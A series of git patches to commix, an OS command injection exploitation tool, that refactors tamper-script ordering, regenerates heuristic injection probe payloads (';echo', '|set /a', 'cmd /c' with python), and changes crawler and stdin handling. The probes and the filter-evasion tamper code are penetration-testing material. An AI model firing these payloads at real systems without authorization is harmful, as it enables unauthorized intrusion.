= obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if _ in payload: - payload = payload.replace(_,_.replace(obf_char, "")) - return payload + return checks.tamper_restore_ignored_words(payload, obf_char) if settings.TARGET_OS != settings.OS.WINDOWS: return add_single_quotes(payload) else: diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 35899dd7f1..b690ab3f06 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -13,9 +13,8 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys -from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". @@ -24,6 +23,10 @@ """ __tamper__ = "slash2env" +__priority__ = settings.PRIORITY.LOW + +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 0b25733667..8a6bdf027a 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings from src.core.injections.controller import checks @@ -27,6 +25,10 @@ """ __tamper__ = "sleep2timeout" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index a7b506b315..a94679cee6 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings from src.core.injections.controller import checks @@ -26,6 +24,10 @@ """ __tamper__ = "sleep2usleep" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_time_related_only(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c39e58f4d0..bfde603872 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -22,6 +22,7 @@ """ __tamper__ = "space2htab" +__priority__ = settings.PRIORITY.LOWER space2htab = "%09" if not settings.TAMPER_SCRIPTS[__tamper__]: diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index aa42fe8177..2179e226f0 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -15,6 +15,7 @@ from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import checks """ About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. @@ -24,8 +25,12 @@ """ __tamper__ = "space2ifs" +__priority__ = settings.PRIORITY.LOWER space2ifs = "${IFS}" +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index b4e0e43f01..8fbeb82f2e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -22,15 +22,13 @@ """ __tamper__ = "space2plus" +__priority__ = settings.PRIORITY.LOWER space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) -_warned_once = False if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - global _warned_once - if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2plus @@ -38,11 +36,9 @@ def tamper(payload): settings.WHITESPACES.append(space2plus) else: - if not _warned_once: - warn_msg = "The tamper script '" + __tamper__ + "' is ineffective for JSON payloads. " - warn_msg += "Skipping tamper script." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - _warned_once = True + warn_msg = "The tamper script '" + __tamper__ + "' is ineffective for JSON payloads. " + warn_msg += "Skipping tamper script." + settings.print_once(warn_msg) return payload diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 53d616a555..6e41026072 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -15,6 +15,7 @@ from src.utils import settings from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import checks """ About: Replaces space character (%20) with vertical tab (%0b) in a given payload. @@ -22,8 +23,12 @@ """ __tamper__ = "space2vtab" +__priority__ = settings.PRIORITY.LOWER space2vtab = "%0b" +def dependencies(): + return checks.tamper_dep_windows_only(__tamper__) + if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 353f0e0caa..73c6bad74e 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -17,6 +17,7 @@ import random import string from src.utils import settings +from src.core.injections.controller import checks """ About: Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. @@ -25,8 +26,10 @@ """ __tamper__ = "uninitializedvariable" +__priority__ = settings.PRIORITY.LOW -global obf_char +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: num = 2 @@ -57,14 +60,7 @@ def add_uninitialized_variable(payload): ) payload = ''.join(parts) - - # Undo obfuscation for ignored words - for word in settings.IGNORE_TAMPER_TRANSFORMATION: - obf_word = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if obf_word in payload: - payload = payload.replace(obf_word, word) - - return payload + return checks.tamper_restore_ignored_words(payload, obf_char) # Only apply on non-Windows targets if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index dbb6d3cfb9..fdb6c485b4 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -14,7 +14,6 @@ """ import random -from random import sample from src.utils import settings from src.core.compat import xrange @@ -31,7 +30,7 @@ def tamper(request): def randomIP(): numbers = [] while not numbers or numbers[0] in (10, 172, 192): - numbers = sample(xrange(1, 255), 4) + numbers = random.sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) request.add_header('X-Forwarded-For', randomIP()) request.add_header('X-Client-Ip', randomIP()) diff --git a/src/utils/settings.py b/src/utils/settings.py index b3c8e7732b..db987cc4ca 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -132,6 +132,16 @@ def print_warning_msg(warn_msg): result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL return result +_PRINTED_ONCE_MESSAGES = set() + +""" +Print each warning message once per run, deduping by raw text. +""" +def print_once(raw_msg): + if raw_msg not in _PRINTED_ONCE_MESSAGES: + _PRINTED_ONCE_MESSAGES.add(raw_msg) + print_data_to_stdout(print_warning_msg(raw_msg)) + # Print warning message def print_bold_warning_msg(warn_msg): result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL @@ -312,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -376,6 +386,14 @@ def sys_argv_errors(): # Safe characters to keep unescaped in query strings SAFE_QUERY = SAFE_PATH + "=?&" +""" +Safe query-string characters; allow '+' only when it is the active whitespace substitute. +""" +def query_safe_chars(): + if len(WHITESPACES) != 0 and WHITESPACES[0] == "+": + return SAFE_QUERY + "+" + return SAFE_QUERY + # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" @@ -1099,6 +1117,12 @@ class RetryTechniqueException(Exception): # Hex encoded characters recognition HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' +# Ignore short values that can coincidentally match the base64/hex charset. +ENCODING_MIN_LENGTH = 8 + +# Minimum printable-character ratio for treating a base64/hex charset match as encoded. +ENCODING_PLAUSIBILITY_RATIO = 0.85 + DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' # TFB Decimal @@ -1210,42 +1234,17 @@ class AUTH_TYPE(object): "rev": False } -UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ - "caret", - "space2vtab" -] - -WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [ - "backslashes", - "dollaratsigns", - "backticks", - "nested", - "singlequotes", - "slash2env", - "sleep2usleep", - "printf2echo", - "space2ifs", - "uninitializedvariable", - "randomcase", - "rev" -] - -EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ - "backslashes", - "caret", - "dollaratsigns", - "doublequotes", - "nested", - "singlequotes", - "slash2env", - "printf2echo", - "uninitializedvariable" -] - -TIME_RELATED_TAMPER_SCRIPTS = [ - "sleep2usleep", - "sleep2timeout" -] +# Execution priority for tamper scripts; each script defines its own __priority__. +class PRIORITY(object): + HIGHEST = 100 + HIGHER = 75 + HIGH = 50 + ABOVE_NORMAL = 25 + NORMAL = 0 + BELOW_NORMAL = -25 + LOW = -50 + LOWER = -75 + LOWEST = -100 IGNORE_TAMPER_TRANSFORMATION = [ "IFS", From f5a723287467ab656b867e0d201aec2c13b7fa38 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 24 Aug 2026 10:23:27 +0300 Subject: [PATCH 0752/1023] Improved heuristic detection reliability to reduce false positives --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 29 +++++++++++++++----- src/utils/settings.py | 18 +++--------- 3 files changed, 27 insertions(+), 21 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e7060897bc..b2fbf0c4c4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved heuristic detection reliability to reduce false positives. * Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. * Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. * Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7d4ea6a8a5..24d831daad 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -46,22 +46,37 @@ """ """ -Heuristic basic checks payloads generator +Generate fresh operands and markers per call; match the markers around the computed value to avoid false positives. """ def basic_payload_generator(): + rand_a = random.randint(1, 10000) + rand_b = random.randint(1, 10000) + calc_string = str(rand_a) + "%2B" + str(rand_b) + marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + suffix = "" if settings.USE_BACKTICKS: prefix = "expr " else: prefix = "(" suffix = ")" - settings.BASIC_STRING = prefix + settings.CALC_STRING + suffix - settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + - "%26echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + - "|echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + - settings.RANDOM_STRING_GENERATOR, - "|set /a " + settings.BASIC_STRING + "%26set /a " + settings.BASIC_STRING + settings.BASIC_STRING = prefix + calc_string + suffix + alter_shell_basic_string = " -c \"print(int(" + calc_string + "))\"" + + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + + "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2, + "|echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 + + "%26echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 + ] + settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2, + "|echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_shell_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + + "%26echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_shell_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 ] + settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) """ Initializing basic level check status """ diff --git a/src/utils/settings.py b/src/utils/settings.py index db987cc4ca..8460327ee2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -416,21 +416,11 @@ def query_safe_chars(): class HEURISTIC_TEST(object): POSITIVE = True -#Basic heuristic checks for command injections -RAND_A = random.randint(1,10000) -RAND_B = random.randint(1,10000) -CALC_STRING = str(RAND_A) + "%2B" + str(RAND_B) +# Basic command-injection checks, built fresh per parameter with random values and markers. BASIC_STRING = "" BASIC_COMMAND_INJECTION_PAYLOADS = [] -ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + - "%26echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + - "|echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + - RANDOM_STRING_GENERATOR, - "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + - " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL - ] -BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [] +BASIC_COMMAND_INJECTION_RESULT = "" IDENTIFIED_COMMAND_INJECTION = False #Basic heuristic checks for code injection warnings or... phpinfo page ;) From 33f7a284600bf5fec37f51b100f532aabec95b4d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 24 Aug 2026 10:23:55 +0300 Subject: [PATCH 0753/1023] Improved detection engine reliability when choosing to continue testing --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 16 ++++++++++------ src/utils/settings.py | 2 +- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b2fbf0c4c4..af4048b777 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved detection engine reliability when choosing to continue testing. * Fixed: Improved heuristic detection reliability to reduce false positives. * Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. * Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9743b6d958..b86c55af3d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -315,22 +315,26 @@ def keep_testing_others(filename, url): """ def skip_testing(filename, url): if not settings.LOAD_SESSION: - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - _ = " testing command injection techniques" - else: - settings.SKIP_COMMAND_INJECTIONS = False - settings.SKIP_CODE_INJECTIONS = True + command_injection_confirmed = not (settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO) + if command_injection_confirmed: _ = " further testing" + else: + _ = " testing command injection techniques" while True: - message = "Do you want to skip" + _ + " on the " + message = "Do you want to skip" + _ + " on the " message += settings.CHECKING_PARAMETER + "? (recommended if certain) [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True + # "Further testing" must also honor the user's choice for the eval-based engine. + if command_injection_confirmed: + settings.SKIP_CODE_INJECTIONS = True settings.LOAD_SESSION = False return elif procced_option in settings.CHOICE_NO: settings.SKIP_COMMAND_INJECTIONS = False + if command_injection_confirmed: + settings.SKIP_CODE_INJECTIONS = False return elif procced_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8460327ee2..5bf41a3cbb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 458031d0413b2d7ffaff44b436aebb2d653d071c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 24 Aug 2026 10:24:39 +0300 Subject: [PATCH 0754/1023] Trivial update --- src/core/injections/controller/checks.py | 2 ++ src/core/main.py | 10 ++++++++++ src/core/requests/requests.py | 9 ++++++--- src/utils/crawler.py | 6 ++++-- src/utils/settings.py | 5 +---- 5 files changed, 23 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b86c55af3d..347ddbda3d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -764,6 +764,8 @@ def value_inside_boundaries(parameter, http_request_method): modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) + # Keep the marker in sync so the prompt reflects the updated value with '/e'. + value_inside_boundaries = pcre_mod_value break elif modifier_check in settings.CHOICE_NO: break diff --git a/src/core/main.py b/src/core/main.py index 956ebd0176..da39191345 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -1255,6 +1255,16 @@ def _time_limit_reached(signum, frame): common.invalid_option(next_url) pass if perform_check: + if settings.CRAWLING: + split_url = _urllib.parse.urlsplit(url) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): + edit_msg = "Edit URL [default: " + url + "] (Warning: blank fields detected): " + url = common.read_input(edit_msg, default=url, check_batch=True) + split_url = _urllib.parse.urlsplit(url) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, split_url.query): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + url = _urllib.parse.urlunsplit(split_url._replace(query=crawler.random_fill_blank_fields(split_url.query))) if os_checks_num == 0: settings.INIT_TEST = True # Reset the injection level diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b5b0a73e97..1a8b2179f7 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -457,9 +457,12 @@ def request_failed(err_msg): return True elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) - warn_msg += "' which could interfere with the results of the tests." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Same de-dup as continue_tests() - a code already warned about there (or here) shouldn't warn again. + if not (len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)): + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.IGNORE_CODE.append(status_code[0]) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 0fdc5680b4..fdddb2636d 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -87,7 +87,8 @@ def normalize_results(output_href): parsed = _urllib.parse.urlparse(target) if not parsed.query: continue - param_names = tuple(sorted(_urllib.parse.parse_qs(parsed.query).keys())) + # Keep blank-valued fields; their parameter names still belong in the dedup key. + param_names = tuple(sorted(_urllib.parse.parse_qs(parsed.query, keep_blank_values=True).keys())) if not param_names: continue key = (parsed.path, param_names) @@ -342,7 +343,8 @@ def do_process(url, http_request_method): data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) store_forms(action_url, data) else: - data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v) or settings.CRAWL_FORM_DEFAULT_VALUE, safe="") for k, v in params) + # Keep blank fields empty; main.py fills them based on the per-URL prompt. + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) href = action_url + ("&" if "?" in action_url else "?") + data identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5bf41a3cbb..ba50671822 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1518,9 +1518,6 @@ class END_LINE: # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 -# Default value used for a crawled GET form field that has no pre-filled value. -CRAWL_FORM_DEFAULT_VALUE = "1" - # Matches a "key=" pair with an empty value in a query/POST-data string, bounded by '&' or start/end. EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=&]+=)(?=&|\Z)' From aefe14c429bcb2f12b1b5fd92118b10e45f10560 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 24 Aug 2026 10:25:05 +0300 Subject: [PATCH 0755/1023] Improved stdin parsing to stream targets for use with piped/chained input --- doc/CHANGELOG.md | 1 + src/core/main.py | 97 ++++++++++++++++++++++++++++--------------- src/utils/settings.py | 2 +- 3 files changed, 66 insertions(+), 34 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index af4048b777..1828da512e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved stdin parsing to stream targets for use with piped/chained input. * Fixed: Improved detection engine reliability when choosing to continue testing. * Fixed: Improved heuristic detection reliability to reduce false positives. * Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. diff --git a/src/core/main.py b/src/core/main.py index da39191345..b75d1c6593 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -348,26 +348,44 @@ def init_injection(url): Validate and normalize a target line, returning the cleaned URL or None. """ def parse_target_line(line): - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): - line = line.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() - return line.rstrip() + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + # Extract only the matched URL to avoid appending log prefixes or surrounding output. + target = match.group(0) + target = target.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + return target.rstrip() return None """ -Using 'stdin' for parsing targets. +Using 'stdin' for parsing targets. A generator, so a target is yielded as soon as its line +arrives - this lets a chained/piped upstream tool's output start being tested immediately, +instead of commix blocking until that tool finishes and closes its end of the pipe. """ def stdin_parsing_target(os_checks_num): - _ = [] if os_checks_num == 0: info_msg = "Using 'stdin' for parsing targets list." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.batch = True settings.MULTI_TARGETS = True - for url in sys.stdin: + # Read stdin line-by-line as it arrives instead of relying on the iterator's read-ahead buffering. + for url in iter(sys.stdin.readline, ""): target = parse_target_line(url) if target: - _.append(target) - return _ + yield target + +""" +Yield (item, is_last) without requiring the iterable's length, supporting both lists and lazy generators. +""" +def with_is_last(iterable): + it = iter(iterable) + try: + prev = next(it) + except StopIteration: + return + for item in it: + yield prev, False + prev = item + yield prev, True """ Check if an injection point has already been detected against target. @@ -707,8 +725,9 @@ def _time_limit_reached(signum, frame): smoke_test() try: - # Treat non-interactive stdin as targets only when no explicit target was given. + # Treat non-interactive stdin as targets only without an explicit target; skip CI log pipes. if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, + "CI" in os.environ, menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile)): settings.STDIN_PARSING = True except Exception as ex: @@ -1055,7 +1074,8 @@ def _time_limit_reached(signum, frame): output_forms += crawler.crawled_forms else: if settings.STDIN_PARSING: - bulkfile = stdin_parsing_target(os_checks_num) + # --crawl requires the full target list; stream only plain stdin targets. + bulkfile = list(stdin_parsing_target(os_checks_num)) crawling_list = len(bulkfile) for url in bulkfile: output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) @@ -1076,23 +1096,33 @@ def _time_limit_reached(signum, frame): filename = None if not settings.STDIN_PARSING: output_href = output_href + bulkfile - else: - output_href = stdin_parsing_target(os_checks_num) - - # Removing duplicates from list (order-preserving, O(n)). - clean_output_href = [] - seen_href = set() - for x in output_href: - if x not in seen_href: - seen_href.add(x) - clean_output_href.append(x) - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(output_href) != 0: - if filename is not None: - filename = crawler.store_crawling(output_href) - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Stream plain stdin targets as they arrive; total_href stays None until the stream ends. + if settings.STDIN_PARSING and not settings.CRAWLING: + def _dedupe_lazy(iterable): + seen = set() + for x in iterable: + if x and x not in seen: + seen.add(x) + yield x + clean_output_href = _dedupe_lazy(stdin_parsing_target(os_checks_num)) + total_href = None + else: + # Removing duplicates from list (order-preserving, O(n)). + clean_output_href = [] + seen_href = set() + for x in output_href: + if x not in seen_href: + seen_href.add(x) + clean_output_href.append(x) + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) != 0: + if filename is not None: + filename = crawler.store_crawling(output_href) + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + total_href = len(clean_output_href) # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). clean_output_forms = [] @@ -1204,7 +1234,8 @@ def _time_limit_reached(signum, frame): settings.USER_DEFINED_POST_DATA = orig_user_defined_post_data url_num = 0 - for url in clean_output_href: + href_count_suffix = ("/" + str(total_href)) if total_href is not None else "" + for url, is_last_href in with_is_last(clean_output_href): if check_for_injected_url(url): if settings.SKIP_VULNERABLE_HOST is None: while True: @@ -1225,7 +1256,7 @@ def _time_limit_reached(signum, frame): if settings.SKIP_VULNERABLE_HOST: url_num += 1 - info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + href_count_suffix + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: @@ -1236,7 +1267,7 @@ def _time_limit_reached(signum, frame): url_num += 1 perform_check = True while True: - settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) + 